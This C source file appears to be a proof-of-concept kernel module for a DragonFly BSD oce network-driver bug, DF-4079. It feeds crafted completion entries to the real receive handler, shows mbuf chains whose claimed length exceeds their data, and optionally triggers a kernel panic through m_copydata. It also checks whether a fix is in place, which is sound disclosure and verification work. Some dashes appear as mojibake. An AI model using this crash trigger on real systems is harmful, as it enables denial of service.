DF-4079 / df4079_oce_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 | /* * DF-4079 PoC rig โ oce_rx() builds an mbuf chain whose m_pkthdr.len is the * raw 14-bit CQE pkt_size, unclamped to num_fragments x frag_size * (sys/dev/netif/oce/oce_if.c:1260,1274,1290-1291,1299). * * THE REAL PRODUCTION HANDLER IS DISPATCHED. The guest kernel is built with * `device oce` (X86_64_GENERIC), so the driver's oce_rq_handler() โ and the * static oce_rx() it calls โ live in the RUNNING kernel image * (/boot/kernel/kernel, T oce_rq_handler). This KLD references * oce_rq_handler(), oce_alloc_rx_bufs(), oce_create_ring_buffer(), * oce_destroy_ring_buffer() and oce_free_posted_rxbuf() as EXTERNAL * symbols, so the kernel linker binds every call to the kernel's own code: * nothing about the driver is recompiled, copied or modified here. * * The rig reconstructs the post-attach driver state exactly as production * leaves it: * - struct oce_softc as oce_attach() shaped it (BE3 flags, ring sizes, * rq_frag_size = OCE_RQ_BUF_SIZE = 2048 set at oce_if.c:236), * - struct oce_rq exactly as oce_rq_init() (oce_queue.c:401-455) left it: * the same bus_dma tag parameters, one dmamap per packet-descriptor slot, * and a REAL ring buffer allocated by the kernel's own * oce_create_ring_buffer(), * - RX buffers posted by the kernel's own oce_alloc_rx_bufs() * (real m_getcl clusters + bus_dmamap_load + RQE into the real ring), * - a real ifnet (if_alloc) with if_input = rig shim, as oce_attach_ifp * (oce_if.c:1656-1713) leaves it (shim instead of ether_input so the * delivered chain can be inspected before the stack consumes it), * - scratch kernel pages standing in for the three BE3 MMIO BARs (CFG, * CSR, DB) so oce_arm_cq()/oce_alloc_rx_bufs() doorbell writes land * harmlessly (offsets all < 0x140, oce_hw.h:64-88). * * The "NIC" is simulated the only way the driver can observe it: the CQE * bitfields in the CQ ring DMA memory (what firmware DMA-writes): * case 1: pkt_size = 16383 (max 14-bit), num_fragments = 1 * -> 1 posted cluster delivers min(16383,2048)=2048 bytes of data * but the head mbuf gets m_pkthdr.len = 16383. * case 2: pkt_size = 16383, num_fragments = 7 (max 3-bit) * -> 7 x 2048 = 14336 bytes of data, m_pkthdr.len = 16383 * (the finding's headline gap: 2047 phantom bytes). * Max representable chain data is 7*2048 = 14336 < 16383 = max pkt_size. * * Evidence: * baseline: the shim prints claimed (pkthdr.len) vs actual (sum of m_len) * for every delivered chain and flags INVARIANT VIOLATION; * guest survives, pool balanced (rig frees everything). * panic: after the first delivery, the rig calls the REAL stack * offset-walker m_copydata(m, off = actual+8, 8) โ the exact * consumer cited in the finding (sys/kern/uipc_mbuf.c:1678-1685, * KASSERT "offset > size of mbuf chain"; kernel is built with * INVARIANTS) -> kernel panic. * * Usage (root): * kldload ./df4079_oce_poc.ko * sysctl -w kern.df4079.go=1 # baseline (survives) * sysctl -w kern.df4079.panic=1 # + m_copydata dispatch -> panic * sysctl -w kern.df4079.go=1 * * Expected on stock /usr/src: two chains delivered, both flagged * "CHAIN INVARIANT VIOLATION", "SURVIVED" at the end (baseline); * "Fatal trap" / KASSERT m_copydata panic (panic mode). * Expected on fixed /usr/src (residual-len check): chains_seen=0, * violations=0, "FIX CONFIRMED". */ #include <sys/param.h> #include <sys/endian.h> #include <sys/systm.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/malloc.h> #include <sys/mbuf.h> #include <sys/serialize.h> #include <sys/sysctl.h> #include <sys/types.h> #include <sys/bus.h> #include <machine/bus_dma.h> /* X86_64_BUS_SPACE_MEM */ #include <net/if.h> #include <net/if_arp.h> /* struct arpcom */ #include <net/if_var.h> #include <net/ethernet.h> #include <dev/netif/oce/oce_if.h> /* REAL driver structs + globals: * oce_rq_handler, oce_alloc_rx_bufs, * oce_create_ring_buffer, ... */ /* * Real kernel handlers/functions โ resolved by the KLD loader against the * running kernel's symbol table (all global 'T'/'D' symbols in * /boot/kernel/kernel; `device oce` is in X86_64_GENERIC). * oce_rx() itself is static and called *inside* oce_rq_handler(). */ /* uint16_t oce_rq_handler(void *) โ declared in oce_if.h:1085 */ static int df4079_panic; /* kern.df4079.panic=1 */ static int df4079_ran; static struct lwkt_serialize df4079_ser; static struct ifdata_pcpu *df4079_ifdata; static void *df4079_devcfg, *df4079_csr, *df4079_db; /* MMIO stand-ins */ SYSCTL_NODE(_kern, OID_AUTO, df4079, CTLFLAG_RW, 0, "DF-4079 PoC rig"); static u_int df4079_chains_seen; static u_int df4079_violations; /* * Production if_input stand-in (ether_input in the real stack): inspect the * chain the REAL oce_rx() built, exactly as the network stack would receive * it at oce_if.c:1373 (sc->ifp->if_input(sc->ifp, m, NULL, -1)). */ static void df4079_input(struct ifnet *ifp, struct mbuf *m, const struct pktinfo *pi, int cpuid) { u_long claimed = m->m_pkthdr.len, actual = 0; struct mbuf *x; int i; char buf[8]; kprintf("df4079: REAL oce_rx delivered chain to if_input(ifp=%p):", ifp); for (x = m, i = 0; x != NULL && i < 10; x = x->m_next, i++) kprintf(" [%p m_len=%d]", x, x->m_len); kprintf("\n"); for (x = m; x != NULL; x = x->m_next) actual += x->m_len; df4079_chains_seen++; kprintf("df4079: m_pkthdr.len (claimed) = %lu sum(m_len) (actual)" " = %lu\n", claimed, actual); if (claimed > actual) { df4079_violations++; kprintf("df4079: *** CHAIN INVARIANT VIOLATION: pkthdr.len" " exceeds chain data by %lu PHANTOM bytes (mbuf contract" " m_pkthdr.len == sum(m_len) broken by oce_rx," " oce_if.c:1299) ***\n", claimed - actual); } else { kprintf("df4079: chain consistent\n"); } if (df4079_panic && df4079_violations == 1) { /* * The cited stack consumer: any offset-walker that trusts * m_pkthdr.len (forwarding / fragmentation / ICMP-error * paths). off is INSIDE the claimed length but BEYOND the * real chain data -> KASSERT at sys/kern/uipc_mbuf.c:1679 * ("m_copydata: offset > size of mbuf chain"; kernel built * with INVARIANTS) or NULL m_len deref if asserts were off. */ kprintf("df4079: dispatching the stack offset-walker" " m_copydata(m, off=%lu, 8) -- off is within pkthdr.len" " but beyond the chain's real %lu bytes" " (sys/kern/uipc_mbuf.c:1671)\n", actual + 8, actual); m_copydata(m, (int)(actual + 8), 8, buf); kprintf("df4079: survived m_copydata?!\n"); } m_freem(m); } /* VERBATIM replay of oce_rq_init() DMA setup (oce_queue.c:429-455) */ static int df4079_rq_dma_init(POCE_SOFTC sc, struct oce_rq *rq) { int rc, i; rq->cfg.q_len = OCE_RX_RING_SIZE; /* 1024, oce_attach:235 */ rq->cfg.frag_size = OCE_RQ_BUF_SIZE; /* 2048, oce_attach:236 */ rq->cfg.mtu = OCE_MAX_JUMBO_FRAME_SIZE; rq->cfg.eqd = 0; rq->parent = (void *)sc; rc = bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR, OCE_MAX_RX_SIZE, 1, PAGE_SIZE, 0, &rq->tag); if (rc) return (rc); for (i = 0; i < OCE_RQ_PACKET_ARRAY_SIZE; i++) { rc = bus_dmamap_create(rq->tag, 0, &rq->pckts[i].map); if (rc) return (rc); } /* the kernel's OWN ring allocator */ rq->ring = oce_create_ring_buffer(sc, OCE_RX_RING_SIZE, sizeof(struct oce_nic_rqe)); if (rq->ring == NULL) return (ENOMEM); return (0); } static struct oce_nic_rx_cqe * df4079_next_cqe(struct oce_cq *cq) { /* RING_GET_CONSUMER_ITEM_VA(cq->ring, struct oce_nic_rx_cqe) */ return ((struct oce_nic_rx_cqe *)cq->ring->dma.ptr + cq->ring->cidx); } static int df4079_run(void) { POCE_SOFTC sc; struct oce_rq *rq; struct oce_cq *cq; struct oce_nic_rx_cqe *cqe; struct ifnet *ifp; int rc, i; kprintf("df4079: dispatching the REAL kernel oce_rq_handler()=%p" " (static oce_rx() runs inside it)\n", &oce_rq_handler); df4079_ifdata = kmalloc(64 * sizeof(*df4079_ifdata), M_TEMP, M_WAITOK | M_ZERO); df4079_devcfg = kmalloc(PAGE_SIZE, M_TEMP, M_WAITOK | M_ZERO); df4079_csr = kmalloc(PAGE_SIZE, M_TEMP, M_WAITOK | M_ZERO); df4079_db = kmalloc(PAGE_SIZE, M_TEMP, M_WAITOK | M_ZERO); sc = kmalloc(sizeof(OCE_SOFTC), M_DEVBUF, M_WAITOK | M_ZERO); rq = kmalloc(sizeof(struct oce_rq), M_DEVBUF, M_WAITOK | M_ZERO); cq = kmalloc(sizeof(struct oce_cq), M_DEVBUF, M_WAITOK | M_ZERO); /* post-oce_attach softc state (oce_if.c:228-241) */ sc->flags = OCE_FLAGS_BE3; /* BE3: CFG+CSR+DB BARs */ sc->tx_ring_size = OCE_TX_RING_SIZE; sc->rx_ring_size = OCE_RX_RING_SIZE; sc->rq_frag_size = OCE_RQ_BUF_SIZE; /* MMIO BAR stand-ins: MEM-space tag + writable kernel pages * (register offsets in oce_hw.h:64-88 are all < 0x140) */ sc->devcfg_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM; sc->devcfg_bhandle = (bus_space_handle_t)(uintptr_t)df4079_devcfg; sc->csr_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM; sc->csr_bhandle = (bus_space_handle_t)(uintptr_t)df4079_csr; sc->db_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM; sc->db_bhandle = (bus_space_handle_t)(uintptr_t)df4079_db; /* ifnet as oce_attach_ifp (oce_if.c:1656-1713) leaves it */ ifp = sc->ifp = if_alloc(IFT_ETHER); strlcpy(ifp->if_xname, "dfoce0", sizeof(ifp->if_xname)); ifp->if_softc = sc; lwkt_serialize_init(&df4079_ser); ifp->if_serializer = &df4079_ser; ifp->if_input = df4079_input; ifp->if_data_pcpu = df4079_ifdata; ifp->if_capenable = 0; /* skip the RX csum path */ ifp->if_flags = IFF_RUNNING | IFF_UP; sc->rq[0] = rq; sc->nrqs = 1; rc = df4079_rq_dma_init(sc, rq); if (rc) { kprintf("df4079: rq dma init failed: %d\n", rc); goto out; } /* RX completion queue (as oce_cq_create built it: 256 x 16B CQEs) */ cq->parent = (void *)sc; cq->cq_id = 1; cq->cb_arg = (void *)rq; cq->ring = oce_create_ring_buffer(sc, CQ_LEN_256, sizeof(struct oce_nic_rx_cqe)); if (cq->ring == NULL) { kprintf("df4079: cq ring alloc failed\n"); goto out; } rq->cq = cq; /* * Post real RX buffers with the kernel's OWN posting code * (m_getcl clusters, bus_dmamap_load, RQEs into the real ring, * RX doorbell -> DB stand-in page). */ rc = oce_alloc_rx_bufs(rq, 16); if (rc) { kprintf("df4079: oce_alloc_rx_bufs failed: %d\n", rc); goto out; } kprintf("df4079: %u real clusters posted via REAL oce_alloc_rx_bufs()" " (frag_size=%u)\n", rq->pending, rq->cfg.frag_size); /* ------------------ case 1: pkt_size=16383, nf=1 ---------------- */ cqe = df4079_next_cqe(cq); bzero(cqe, sizeof(*cqe)); cqe->u0.s.pkt_size = 16383; /* max 14-bit value */ cqe->u0.s.num_fragments = 1; cqe->u0.s.valid = 1; kprintf("df4079: === case 1: CQE pkt_size=16383 num_fragments=1" " -> max chain data 1x2048 ===\n"); oce_rq_handler(rq); /* REAL kernel handler */ /* ------------------ case 2: pkt_size=16383, nf=7 ---------------- */ if (!df4079_panic) { /* panic mode never gets past case 1 */ cqe = df4079_next_cqe(cq); bzero(cqe, sizeof(*cqe)); cqe->u0.s.pkt_size = 16383; cqe->u0.s.num_fragments = 7; /* max 3-bit value */ cqe->u0.s.valid = 1; kprintf("df4079: === case 2: CQE pkt_size=16383" " num_fragments=7 -> max chain data 7x2048=14336" " (2047 phantom bytes) ===\n"); oce_rq_handler(rq); /* REAL kernel handler */ } if (!df4079_panic) { kprintf("df4079: chains delivered to if_input: %u;" " invariant violations: %u\n", df4079_chains_seen, df4079_violations); kprintf("df4079: rq->rx_stats: rx_compl=%u rx_pkts=%llu" " rx_bytes=%llu (rx_bytes counted the PHANTOM pkt_size," " oce_if.c:1381)\n", rq->rx_stats.rx_compl, (unsigned long long)rq->rx_stats.rx_pkts, (unsigned long long)rq->rx_stats.rx_bytes); if (df4079_chains_seen == 0 && df4079_violations == 0) kprintf("df4079: FIX CONFIRMED: no inconsistent chain" " reached if_input\n"); else if (df4079_violations) kprintf("df4079: SURVIVED -- inconsistent mbuf chains" " demonstrated above\n"); } out: /* teardown (kernel's own helpers where they exist) */ oce_free_posted_rxbuf(rq); /* REAL */ if (rq->ring) oce_destroy_ring_buffer(sc, rq->ring); /* REAL */ if (cq->ring) oce_destroy_ring_buffer(sc, cq->ring); /* REAL */ if (rq->tag) { for (i = 0; i < OCE_RQ_PACKET_ARRAY_SIZE; i++) if (rq->pckts[i].map != NULL) bus_dmamap_destroy(rq->tag, rq->pckts[i].map); bus_dma_tag_destroy(rq->tag); } if (sc->ifp) if_free(sc->ifp); kfree(cq, M_DEVBUF); kfree(rq, M_DEVBUF); kfree(sc, M_DEVBUF); kfree(df4079_ifdata, M_TEMP); kfree(df4079_devcfg, M_TEMP); kfree(df4079_csr, M_TEMP); kfree(df4079_db, M_TEMP); df4079_ran = 1; return (0); } static int df4079_sysctl_go(SYSCTL_HANDLER_ARGS) { int error, go = 0; error = sysctl_handle_int(oidp, &go, 0, req); if (error || req->newptr == NULL) return (error); if (go != 1 || df4079_ran) return (EPERM); return (df4079_run()); } SYSCTL_PROC(_kern_df4079, OID_AUTO, go, CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4079_sysctl_go, "I", "dispatch the REAL oce_rq_handler over a crafted CQE"); static int df4079_sysctl_panic(SYSCTL_HANDLER_ARGS) { int error, v = df4079_panic; error = sysctl_handle_int(oidp, &v, 0, req); if (error || req->newptr == NULL) return (error); df4079_panic = v; return (0); } SYSCTL_PROC(_kern_df4079, OID_AUTO, panic, CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4079_sysctl_panic, "I", "1 = dispatch m_copydata on the first inconsistent chain (panics)"); static int df4079_modevent(module_t mod, int type, void *arg) { switch (type) { case MOD_LOAD: return (0); case MOD_UNLOAD: return (0); default: return (0); } } static moduledata_t df4079_mod = { "df4079_oce_poc", df4079_modevent, NULL }; DECLARE_MODULE(df4079_oce_poc, df4079_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |